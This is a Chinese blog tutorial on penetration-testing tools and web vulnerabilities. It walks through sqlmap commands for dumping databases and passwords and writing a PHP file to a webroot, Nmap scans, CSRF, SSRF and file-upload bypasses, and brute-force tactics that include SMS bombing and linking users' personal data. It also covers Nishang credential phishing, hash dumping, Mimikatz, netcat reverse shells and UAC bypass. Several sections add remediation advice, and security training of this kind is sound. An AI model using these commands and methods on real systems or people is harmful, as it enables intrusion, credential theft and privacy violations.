网络逻辑漏洞、SQLMAP、Nmap及其它命令的使用方法

SQLMAP

sqlmap是一个自动化的SQL注入工具,主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置很多绕过插件,SQLMAP强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标、文件系统,并在获取完全的操作权限时实行仁义命令。是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试神器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

支持的数据库有:MySQL,Oracle, PostgreSQL, SQL Server, Microsoft Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

sqlmap5种支持的注入模式:

  • UNION query SQL injection(可联合查询注入)
  • uError-based SQL injection(报错型注入)
  • uBoolean-based blind SQL injection(布尔型注入)
  • uTime-based blind SQL injection(基于时间延迟注入)
  • uStacked queries SQL injection(可多语句查询注入)

sqlmap采用5种独特的SQL注入技术

  • 基于布尔型的盲注,可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union得到情况下注入。
  • 堆查询注入,可以同时执行多条语句时的注入

sqlmap的安装

(1)安装sqlmap前,先安装 Python3.X

下载地址:Python Releases for Windows | Python.org

(2)在环境变量path中,增加python3.x安装路径

(3)下载sqlmap并解压缩:地址:sqlmap: automatic SQL injection and database takeover tool

sqlmap常用参数

设置目标URL

  • -u /--url    最基本格式 sqlmap -u “http://www.target.com/index.php?id=1”
  •  -m    从文本中获取多个目标扫描,但是每一个一个 url. sqlmap -m urllist.txt
  • -r       从文件中加载 HTTP 请求,这样的话 就不需要在去设定cookie,POST 数据
  • --dbs                 返回当前连接的数据库
  • --current-db       返回当前网站数据库的数据库用户
  • -D                     指定数据库系统的数据库名
  • --tables            列举数据库表
  • -T                    指定数据库表名
  • --columns        列举数据库表中的字段
  • -C                    指定数据库表中的字段名
  • --dump             获取整个表的数据

设置回显等级

参数:-v 默认为1:

  • 0、只显示python错误以及严重的信息。
  • 1、同时显示基本信息和警告信息。(默认等级)
  • 2、同时显示debug信息。
  • 3、同时显示注入的payload。
  • 4、同时显示HTTP请求。
  • 5、同时显示HTTP响应头。
  • 6、同事显示HTTP响应页面。

设置HTTP数据包相关参数

参数:--data  此参数是把数以POST方式提交,sqlmap会像检测GET参数一样检测POST过去 的参数。 python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1"

参数:--cookie 当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

HTTP User-Agent 头

参数:--random-agent  会从sqlmap/txt/user-agents.txt中随机产生User-Agent头。

sqlmap -u “http://www.target.com” --level 3 --andom-agent --dbs

sqlmap 检查uesr-agent中的注入点, level>=3才会去检查user-agent头是否存在注入漏洞

设定探测等级

--level 共有五个等级(1~5),默认为1,

sqlmap使用的payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload。5级包含的payload最多。 http cookie在2级时可以检测 HTTP user-Agent/Referer在3级时就会检测

  • level>=2的时候就会测试HTTP Cookie。
  • level>=3的时候就会测试HTTP User-Agent/Referer头。
  • level=5 的时候会测试HTTP Host。
  • --users 列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
  • --current-user 在大多数据库中可以获取到管理数据的用户。
  • --is-dba 判断当前的用户是否为管理,是的话会返回True。
  • --proxy 指定一个代理服务器 eg: –proxy http://xxxxx:8080
  • --os-shell 前提:需要网站的物理路径,其次是需要有FIILE权限。

sql注入简单流程

第一步:判断是否是注入点

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"

 第二步:获取数据库

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --dbs

 第三步:查看当前应用程序所用数据库

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" --current-db

 第四步:列出指定数据库的所有表

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" --tables

第五步:读取指定表中的字段名称

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1"  -D "security" -T  users --colunms

 第六步:读取指定字段内容

sqlmap.py -u "http://localhost/sqlilabs/Less-1/?id=1" -D "security" -T  users -C username,password --dump

sqlmap进阶

--is-dba   判断当前数据库用户权限

sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --is-dba

 –roles 列出数据库管理员角色

如果当前用户有权限读取包含所有用户的表,输入该命令会列举出每个用户的角色, sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --roles

 --referer HTTPReferer头

当–level参数设定为3或3以上时,会尝试对HTTP Referer注入。可以使用referer命令来欺骗,如--referer https://mp.mysite.net

--sql-shell 运行自定义的sql语句

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --sql-shell

 –os-cmd,–os-shell 运行任意操作系统命令

选择后台语言 sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --os-cmd=whoami

 –file-read 从数据库服务器中读取文件

该命令用于读取执行文件,当前用户有权限使用特定的函数时,读取的文件可以是文本,也可以是二进制文件。

 –file-write –file-dest 上传文件到数据库服务器中

该命令用于写入本地文件到服务器中。

Sqlmap –u http://10.1.8.8/sql1/less-1/?id=1   --file-write  ‘c:\user\cisp-pte\desktop\xie1.php’  --file-dest ‘c:\phpstudy\www\wwwroot\xie.php’

 

读取指定数据库用户的密码

 sqlmap -u "http://xxxxx/fuzz/index.php?id=1" --passwords -U root

 Sqlmap进阶-常用tamper脚本

Nmap

    Nmap 是一款开放源代码的网络探测和安全审核工具。它被设计用来快速扫描大型网络,包括主机探测与发现、开放端口情况、操作系统与应用服务指纹识别、WAF识别及常见安全漏洞

Nmap的特点:

  • 主机探测: 探测网络上的主机,如列出响应TCP和 ICMP请求、ICMP请求、开放特别端口的主机
  • 端口扫描:探测目标主机所开放的端口
  • 版本检测:探测目标主机的网络服务,判断其服务名称及版本号
  • 系统监测:探测目标主机的操作系统及网络设备的硬件特征
  • 支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和 Lua编码语言

可以扫描多个目标也可扫描单个目标 如  192.168.1.1/24  扫描C段   或者 192.168.1.1-254

namp   -A    –T4    -v     192.168.1.1

-A   开启操作系统识别和版本识别功能

-T   0-6档,设置扫描的快慢,0最慢,6最快; 级别越高,对网络带宽要求越高,另外扫描太快,容易被安全设备发现; 一般选择T4

-v   显示信息的级别,-vv 显示更详细的信息

namp   -A    –T4    -v     -iL     ~/targets.txt

-iL   表示要扫描的目标位于一个文档中

namp   -A    –T4    -v   192.168.1.1/24  --exclude  192.168.1.100

--exclude  192.168.1.100   表示排除在外的目标

namp   -A    –T4    -v   192.168.1.1/24  --excludefile   ~/targets.txt

--excludefile ~/targets.txt   表示排除在外的目标包含在一个文档中

namp   192.168.1.1   -p  80,443 

-p  80,443   表示扫描特点端口,如果不用-p指定端口,  默认扫描1000个常用端口

namp   --traceroute   192.168.1.1

--traceroute  探测路由

namp   -O  192.168.1.1  

-O  对目标进行指纹识别

namp   -sV  192.168.1.1 

-sV 对版本进行探测

namp   -sF  -T4  192.168.1.1 

-sF 利用fin包对端口进行扫描,识别是否被关闭,收到RST包,说明被关闭。否则是open 或者fileter状态。

状态说明
open应用程序在该端口接收 TCP 连接或者 UDP 报文
closed关闭的端口对于nmap也是可访问的, 它接收nmap探测报文并作出响应。但没有应用程序在其上监听
filtered由于包过滤阻止探测报文到达端口,nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由规则 或者主机上的软件防火墙
unfiltered未被过滤状态意味着端口可访问,但是nmap无法确定它是开放还是关闭。 只有用于映射防火墙规则集的 ACK 扫描才会把端口分类到这个状态
open/filtered无法确定端口是开放还是被过滤, 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃了探测报文或者它引发的任何反应。UDP,IP协议, FIN, Null 等扫描会引起。

CSRF漏洞

    CSRF (Cross--site request forgery,跨站请求伪造))也被称为 One Click Attack 或者 Session Riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与 XSS 非常不同,XSS 利用站点内的信任用户,而 CSRF 则通过伪装成受信任用户请求受信任的网站。与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)也难以防范,所以被认为比 XSS 更具危险性。

    攻击者利用目标用户的身份,以目标用户的名义执行某些非法操作。CSRF 能够做的事情包括:以目标用户的名义发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,这会泄露个人隐私并威胁到了目标用户的财产安全。

漏洞描述:

    CSRF是跨站请求伪造,不攻击网站服务器,而是冒充用户在站内的正常操作。通常由于服务端没有对请求头做严格过滤引起的。CSRF会造成密码重置,用户伪造等问题,可能引发严重后果。绝大多数网站是通过 cookie 等方式辨识用户身份,再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。CSRF攻击会令用户在不知情的情况下攻击自己已经登录的系统。

修复建议

1、验证请求的Referer是否来自本网站,但可被绕过。   

2、在请求中加入不可伪造的token,并在服务端验证token是否一致或正确,不正确则丢弃拒绝服务。

漏洞代码分析

   --获取 GET 参数 username 和参数 oassword,然后通过 selecti 语句查询是否存在对应的用户,如果用户存在,会通过$SESSION 设置一个 session: isadmin=admin,否则设置 session: isadmin=guest。 --接下来判断 session 中的 isadmin 是否为 admin,如果 isadmin! =admin,说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。 --获取 POST 参数 username 和参数 oassword,然后插入 users 表中,完成添加用户的操作。

    当管理员访问了攻击者构造的 CSRF 页面后,会自动创建一个账号,CSRF 利用代码如下。 此代码的作用是创建一个 AJAX 请求,请求的 URL 是 http: /Xx.com/csrf.php,参数是 submit=:1&username: =1&password=1, 从上述 PHP 代码中可以看到,此 AJAX 请求就是执行一个添加用户的操作,由于管理员已登录,所以管理员访问链接后就会创建一个新用户。

针对 CSRF 漏洞的修复

1、验证请求的 Refererf 值,如果 Referer 是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果 Referer 是其他网站域名或空白,就有可能是 CSRF 攻击,那么服务器应拒绝该请求,但是此方法存在被绕过的可能。

2、CSRF 攻击之所以能够成功,是因为攻击者可以伪造用户的请求,由此可知,抵御 CSRF 攻击的关键在于:在请求中放入攻击者不能伪造的信息。例如可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端验证 token,如果请求中没有 token 或者 token 的内容不正确,则认为该请求可能是 CSRF 攻击从而拒绝该请求。

SSRF漏洞

    ssrf漏洞介绍: SSRF (Server--Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起清求的安全漏洞。一般情况下,SSRF 攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统) 。

    SSRF 的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定 URL 地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造。SSRF 利用存在缺陷的 Web 应用作为代理攻击远程和本地的服务器。

主要攻击方式如下所示。

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 panner 信息。
  • 攻击运行在内网或本地的应用程序。
  • 对内网 Wb 应用进行指纹识别,识别企业内部的资产信息。
  • 攻击内外网的 Web 应用,主要是使用 HTTP GET 请求就可以实现的攻击(比如 struts2、SQli 等)。
  • 利用 file 协议读取本地文件等。

漏洞利用 – ssrf

 SSRF 漏洞利用的测试地址:http:/127.0.0.1/ssrf.php?url=http:/127.0.0.1/2.php。

    页面 ssrf.php 实现的功能是获取 GET 参数 URL,然后将 URL 的内容返回网页上。 如果将请求的网址篡改为 http: /www.baidu.com,则页面会显示 http: / www.baidu.com 的网页内容。

    但是,当设置参数 UL 为内网地址时,则会泄露内网信息,例如,当url=192.168.0.2:3306 时,页面返回“当前地址不允许连接到 MySQL 服务器”,说明 192.168.0.2 存在 MySQL 服务。

访问 ssrf.php?url=file://C:Vindows/, win.ini 即可读取本地文件。

   在页面 SSRF.php 中,程序获取 GET 参数 URL,通过 curl init()初始化 curl 组件后,将参数 URL 带入 curl setopt ($ch, CURLOPT URL, $url),然后调用所以 curl-exec 请求该 URL。由于服务端会将 oannerf 信息返回客户端,所以可以根据 banner 判断主机是否存在某些服务。

针对 SSRF 漏洞的修复,给出以下这几点建议。

  • 1、限制请求的端口只能为 Web 端口,只允许访问 HTTP 和 HTTPS 的请求。
  • 2、限制不能访问内网的IP,以防止对内网进行攻击。
  • 3、屏蔽返回的详细信息。

文件上传漏洞

    现代的互联网的Web应用程序中,文件上传是一种常见的要求,因为它有助于提高业务效率。在Facebook和Twitter等社交网络的Web应用程序中都允许文件上传功能。在博客,论坛,电子银行网络,YouTube和企业支持门户,会给用户和企业员工有效的共享文件。允许用户上传图片,视频,头像和许多其他类型的文件。

为什么文件上传存在漏洞

    上传文件的时候,如果服务器端脚本语言,未对上传的文件进行严格的验证和过滤,就有可能上传恶意的脚本文件,从而控制整个网站,甚至是服务器。

危害

  • 网站被控制 
  • 服务器沦陷
  • 同服务器的其他网站沦陷

常见上传检测规则

  • 服务端 MIME 类型检测 ( 检测 Content-Type 内容)
  • 客户端 javascript 检测( 通常为检测文件拓展名)
  • 服务端目录路径检测(  检测跟 path 参数相关的内容 )
  • 服务端文件名拓展名检测(  检测跟文件 estension 相关的内容 )
  • 服务器文件内容检测(检测内容是否合法或含有恶意代码)    

   服务端MIME类型检测也就是检测Content-Type的内容。

基于黑名单检测:

    黑名单的安全性比白名单的安全性低很多,攻击手法自然也比白名单多。一般有个专门的blacklist,里面包含常见的危险脚本文件。

客户端检测

    客户端检测通常在上传页面里含有专门检测文件上传的JavaScript代码。最常见的就是检测拓展名是否合法。

判断方式: 在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

服务端目录路径检测:

    一般是检测路径是否合法,但是稍微特殊一点的都没有防御。检测跟path参数相关的内容。漏洞成因是因为对目录路径的检测不够严谨而导致

服务端文件名拓展检测-绕过办法

  • 文件名大小写绕过(AsP, pHp等等)
  • 黑白名单绕过(php、php2、php3、php5、phtml、asp、aspx、ascx、ashx、cer、asa、jsp、jspx)
  • 特殊文件名绕过 修改数据包里的文件名改为 test.php. 或者 test.asp_ (下划线是空格)由于这种命名格式在windows系统里是不允许的。所以在绕过上传之后  windows系统会自动去掉 点和空格。Unix/Linux系统没有这个特性。
  • 0x00截断绕过

暴力破解

    暴力破解的产生是由于服务器端没有做限制,导致攻击者可以通过暴力的手段暴力破解的产生是由于破解所需信息,如用户名、密码、验证码等。暴力破解需要一个庞大的字典,如 4 位数字的验证码,那么暴力破解的范围就是 0000~9999,暴力破解的关键在于字典的大小。

漏洞描述:

    由于没有对登录页面进行相关的人机验证机制,如无验证码、有验证码但可重复利用以及无登录错误次数登录账号和密码。限制等,导致攻击者可通过暴力破解获取用户

修复建议

  • 1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)
  • 2、如果某个 IP登录次数超过设置的阈值,则锁定IP
  • 3、增加人机验证机制
  • 4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。

一、账户探测

场景说明:探测用户名存在与否,用户名穷举

方式一:Top500用户名、手机号  

方式二:邮箱、员工编号

二、指定口令爆破用户名

  • 1. 指定类123456口令爆破用户名;
  • 2. 正常的top500,top10000帐号;  
  • 3. 单个字母、两个字母、三个字母、四个字母随机组合的帐号;  
  • 4. 一位数字、二位数字、三位数字、四位数字的随机组合    
  • 5. 厂商名相关帐号   a) 如:facebook、fb_steven …   b) 页面联系邮箱的规则学习及自创建  

三、密码爆破

1. top500, top3000,top10000,自定义密码  

  • 1、Top 系列,几乎安全从业都有自己的弱口令字典,常规就好,太大的字典跑起来也费劲,关键是定制    
  • 2、定制字典,pydictor值得推荐:https://github.com/LandGrey/pydictor    
  • 3、 社工库的使用,指定用户的历史密码,是一种尝试    

2. 厂商特色口令生成,如baidu@123  

  • 1、适用于应用管理员类人员以及主机协议类密码  
  • 2、更多定制类字典也可以pydicor  
  • 3、使用简单密码和厂商邮箱后缀组合  

3. 加密密码暴力破解  

  • 1、普通编码类,如base64  
  • 2、自定义加密算法(目标系统使用了可猜测的加密算法去加密口令)  

可参考浮萍写的基于RSA算法加密口令后爆破脚本:  https://github.com/fupinglee/MyPython/blob/master/web/RSADemo.py  

  • 3、Selenium 自动浏览器提交模块(可适用与不明加密算法,模拟正常操作流)    

4. 弱文件后的后台爆破  

  1. 弱文件爆破获得后台  
  2. 后台密码爆破      
  •  i. 各大中间件及CMS的口令破解,如weblogic 、tomcat    
  •  ii. 自定义后台的密码破解  

5. Webshell 密码爆破  

  • 1、Shell 发现(弱文件以及蛛丝马迹)  
  • 2、Shell 爆破(有专用工具,也可用burp完成)  

6. 辅助信息  

  • 1、Web 源码、JS 以及注释信息中是否包含用户名以及口令指定规则  
  • 2、 技术运维人员的桌子上面的便签信息(若能接触到目标内部)

四、登陆验证码爆破

1. 验证码绕过  

  • 1、验证码非必须参数,可省略  
  • 2、验证码不失效,可多次使用  
  • 3、验证码问题集合答案有限,可以遍历后破解  
  • 4、非空逻辑校验,验证码置空 或 去掉校验参数的请求  

   e.g. ecshop后台暴力破解验证码绕过    

2. 简单验证码识别  

https://github.com/fupinglee/CrackCaptcahLogin/releases 类似工具很多,看使用习惯。  

3. 高模糊度验证码识别  

  • 1、 一般的识别流程都是二值化、去干扰、区域选择、OCR识别  
  • 2、可用云打码平台 (不打广告)  

五、短信/邮箱验证码爆破

1. 部分登录验证码的分类也可适用于此  

2. 验证码的本身绕过  

  • a) 返回包回显(包括返回包、输出在cookie等)    
  • b) JS控制    
  • c) 返回包控制:True&false控制(0&1),修改返回包可绕过  

3.   4位数字,验证码爆破,很快    

4.   6位数字,验证码爆破;

    可根据多线程的前提进行多进程处理,0-199999一波;200000-399999一波…(依次类推);也可以看频率,哪块区间分布的概率较高可重点关注;也可以指定前一位或两位进行爆破。    

5. 弱token 

六、短信/邮箱验证码爆破

1. 关键参数的的信息遍历(select)

  1. 包括用户名  
  2. ID号  
  3. 手机号  
  4. 邮箱  
  5. 身份证号  
  6. 订单号  
  7. 银行卡  
  8.  信用卡(e.g 携程乌云漏洞)      

         i. PAN+信用卡到期时间(即:最小的身份验证模块);      

         ii. PAN+信用卡到期时间+CVV;        

        iii. PAN+信用卡到期时间+CVV+持卡人地址;        

        iv. From http://t.cn/Rfrsdki    

        i) …  

2. 批量注册(insert)

 逻辑不严谨或校验不严格,实现多帐号的薅羊毛

3. 一套组合拳(也可关联到爬虫):    

  • a) 两个常见的功能:密码找回、网站论坛
  • b) 切入点一:从密码找回功能分析,有相当一部分网站,提供账号检测功能,且提示存在与否,根据友情提示以及次数限定情况,可以通过返回包匹配存在的帐号,包括用户名、甚至手机号(其实主要是手机号)。
  •   c) 切入点二:密码找回功能,输入手机号后会提示…正在找回XXX的密码信息…,这个就是用户名,(若输入用户名,有可能提示正在找回某手机号的密码信息(部分打码))  
  • d) 切入点三:网站论坛,为了交流,以及用户的活跃度,部分网站存在bbs、club等论坛信息,一般二次开发的Discuz 。 上面会存在关于个人的一些数据,比如用户名(论坛网名)、性别、粉丝情况、帖子情况、联系方式、住址(部分需要登录权限)、还有一些倾向数据,比如购物平台关注的商品;  
  • e) 从这三个切入点来讲,单独哪个可能都影响不足够大,没有达到影响的最大化。从一个数据利用者角度分析,最希望得到与平台性质相关的属性,比如交友网站的性别和联系方式信息,房产网站的倾向房产和联系方式等属性。

那把三个切入点的数据整合起来能得到什么呢?    

  • i. 通过用户检测 获得手机号用户个人信息;    
  • ii. 通过手机号检测,获得用户名信息;  
  • iii. 通过论坛遍历,获得ID和用户名信息;    
  • iv. 通过关联以上数据,可以对应手机号------>用户名 ------>  论坛ID,同样也就意味着获得了某手机号的用户关注了什么的信息。  

Demo 说明    

  • 用户:188xxxx8888  用户名:HelloWorld  关注:某别墅  
  • 用户:138xxxx9999  用户名:52BMW    关注:宝马X6  
  • 用户:159xxxx6666  用户名:HelloKitty   就职某金融企业   用户:186xxxx5555  
  • 用户名:独孤求败   购买了大疆无人机  

针对Demo数据,从一个数据威胁角度来分析,那可以实现精准营销。带来的场景就是另一片天地。

七、爆破关联

1. 数据重放-短信炸弹  

  • a) 无任何限制的短信炸弹  
  • b) 单独手机号存在短信阈值限制,有可能通过间隔符绕过,18888888888,,,与18888888888效果一样;  
  • c) 针对单独手机号有阈值限制,但可随意轮询其他手机号,同样有危害  
  • d) 会导致短信网关的资源浪费和流失  

2. 数据重放-邮箱炸弹    相对短信炸弹成本较低,但其逻辑同短信炸弹  

3. 子域名爆破   

根据自己平台和习惯选择即可:subDomainsBrute、Layer、FuzzDomain  

4. 子目录、弱文件爆破  

  • 弱文件爆破,对比过老御剑、weakfilescan、dirfuzz、cansian.py 仍然觉得一款基于python3的dirsearch 值得拥有(可自定义字典)  
  • 也可以自己写,就是基本的web请求,以及返回包的长度或特征匹配。  

5. Fuzzing 测试  

  • SQL、XSS  
  • 拒绝服务漏洞,例如SPIKE对表单测试特殊字符的异常处理  

八、协议口令爆破

1. SSH RDP FTP MySQL MSSQL

  •  a) Fenghuangscan值得推荐,Hydra (Kali自带)值得拥有;  
  • b) Nmap 也可完成部分破解工作,本身是一个基础工具,但script下的脚本能让你做出不基础的事情  
  • c) 毕竟直接拿到远控权限事半功倍,可直接获取数据,对于测试来讲还可获取源码,以半审计的方法进行挖掘。  
  • d) 且有人以此为生(全网抓鸡)  

2. SMTP、VPN协议类  

a) 第一点提到的一些协议,初具成熟均不公开于互联网(当然意识和测试情况也有),但SMTP 和 VPN 类,大部分都有,也是入侵的概率很大的入口点      

  •  i. brut3k1t(github有)    
  •  ii. 也有自定义的PY脚本    
  •  iii. 小技巧点:部分对同一用户有密码失败次数限制,可把循环颠倒过来,用同密码刷一遍用户,在用下一个口令刷一遍用户   

b) 翻到邮箱,根据信息检索,信息很精准,很有可能获得认证信息  

c) 获得VPN认证,在内网搞事,一不小心就干掉了一个大家伙。  

3. 特殊服务类未授权访问或者弱认证    

  • Redis未授权访问  
  • Jenkins未授权访问  
  • MongoDB未授权访问  
  • ZooKeeper未授权访问  
  •  Elasticsearch未授权访问  
  • Memcache未授权访问  
  • Hadoop未授权访问  
  • CouchDB未授权访问  
  • Docker未授权访问  
  • 毕竟这些未授权可以直接getshell或直接获得数据  

漏洞代码分析

    服务端处理用户登录的代码如下所示,程序获取 POST 参数 username 和参数password,然后在数据库中查询输入的用户名和密码是否存在,如果存在,则登录成功。但是这里没有对登录的次数做限制,所以只要用户一直尝试登录,就可以进行暴力破解。

修复建议

针对暴力破解漏洞的修复,给出以下两点建议。

1、如果用户登录次数超过设置的阈值,则锁定帐号(有恶意登录锁定帐号的风险)

2、如果某个 IP登录次数超过设置的阈值,则锁定IP

3、增加人机验证机制

4、验证码必须在服务器端进行校验,客户端的一切校验都是不安全的。 锁定IP存在的一个问题  是:如果多个用户使用的是同一个 IP,则会造成其他用户也不能登录。

Nishang

    Nishang是一款基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包括下载和执行、键盘记录、DNS、延时命令等脚本,被广泛应用于渗透测试的各个阶段。

下载地址如下: https://github.com/samratashok/nishang

部分模块的功能

1.Check-VM

它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别,如下可看到是一台虚拟机

2. Invoke-CredentialsPhish

这个脚本用来欺骗用户,让用户输入密码,在不输入正确密码关闭不了对话框,只能强子结束进程

3. Get-PassHashes

在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了

4. Invoke-Mimikatz

需要管理员权限,抓取密码

5. Show-TargetScreen

使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

Victim(win7):Show-TargetScreen -IPAddres 192.168.199.129 -Port 5773 -Reverse Attacker(kali):netcat -nlvp 5773 | netcat -nlvp 8888 //这里我使用的neetcat

6. Get-PassHints

获取用户的密码提示信息,需要有Administrator权限来读取sam hive 有的时候可以根据提示信息来生成密码文件,大大提高爆破的成功率。还有的人会将明文密码记录在这个提示信息中

PowerShell交互式Shell

Nishang可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型Shell

一、基于TCP协议的Powershell交互式Shell

Invoke-PowerShellTcp是PowerShell交互式正向连接或反向连接shell,基于TCP协议。

参数介绍:

  • -IPAddress <String> 选择-Reverse选项时是需要连接到的IP地址
  • -Port <Int32> 选择-Reverse选项时是需要连接到的端口,选择-Bind选项时是需要监听的端口。
  • -Reverse [<SwitchParameter>] 反向连接
  • -Bind [<SwitchParameter>] 正向连接


实例:1.正向连接

  • 第一步:在目标机运行脚本,监听端口88
  • 第二步:使用nc连接到目标机端口88

        2. 反向连接

  • 第一步:使用nc监听本地端口88(注意必须先监听,不然在目标机上执行脚本会出错)
  • 第二步:在目标机上运行脚本来反弹shell
  • 第三步:观察攻击机,可以发现成功反弹shell

二、基于UDP协议的PowerShell交互式Shell

Invoke-PowerShellUdpPowershell交互式正向连接或反向连接shell,基于UDP协议。

使用实例:

1.正向连接

  • 第一步:在目标机运行脚本,监听端口66
  • 第二步:使用nc连接到目标机端口66

2. 反向连接

  • 第一步:使用nc监听本地端口66
  • 第二步:在目标机上运行脚本来反弹shell
  • 第三步:观察攻击机,可以发现成功反弹shell

三、基于HTTP和HTTPS协议的PowerShell交互式Shell

Invoke-PoshRatHttp and Invoke-PoshRatHttps是Powershell交互式反向连接shell,基于HTTP协议和HTTPS协议。

这里需要说明以下,需要攻击者以管理员身份运行

  • 第一步:首先我们需要在攻击机上使用脚本,需要的信息有攻击机IP,要监听的端口。运行完脚本,就等着目标机反弹Shell了。
  • 第二步:在目标机上运行下列命令,反弹Shell
  • 第三步:观察攻击机,可以发现成功反弹shell

权限提升

    权限提升是指利用操作系统或软件应用程序中的漏洞、设计缺陷或配置疏忽,让应用或用户获得对受保护资源的高级访问权限。 这里我们主要讲通过Bypass UAC来提权

    UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。

需要UAC的授权才能进行的操作列表如下:

  • 配置Windows Update
  • 增加、删除账户
  • 更改账户类型
  • 更改UAC的设置
  • 安装ActiveX
  • 安装、卸载程序
  • 安装设备驱动程序
  • 将文件移动/复制到Program Files或Windows目录下
  • 查看其它用户的文件夹

UAC有如下四种设置要求:  

  • 始终通知:这是最严格的设置,每当有程序需要使用高级别的权限时都会提示本地用户
  • 仅在程序试图更改我的计算机时通知我:这是UAC的默认设置。当本地Windows程序要使用高级别的权限时,不会通知用户。但是,当第三方程序要使用高级别的权限时,会提示本地用户
  • 仅在程序试图更改我的计算机时通知我(不降低桌面的亮度):与上一条设置的要求相同,但在提示用户时不降低桌面的亮度
  • 从不提示:当用户为系统管理员时,所有程序都会以最高权限运行

如何Bypass UAC 我们可以找一些以高权限运行的,但是并没有uac提示的进程,然后利用ProcessMonitor寻找他启动调用却缺失的如dll、注册表键值,然后我们添加对应的值达到bypass uac的效果。

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

余笙.'

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值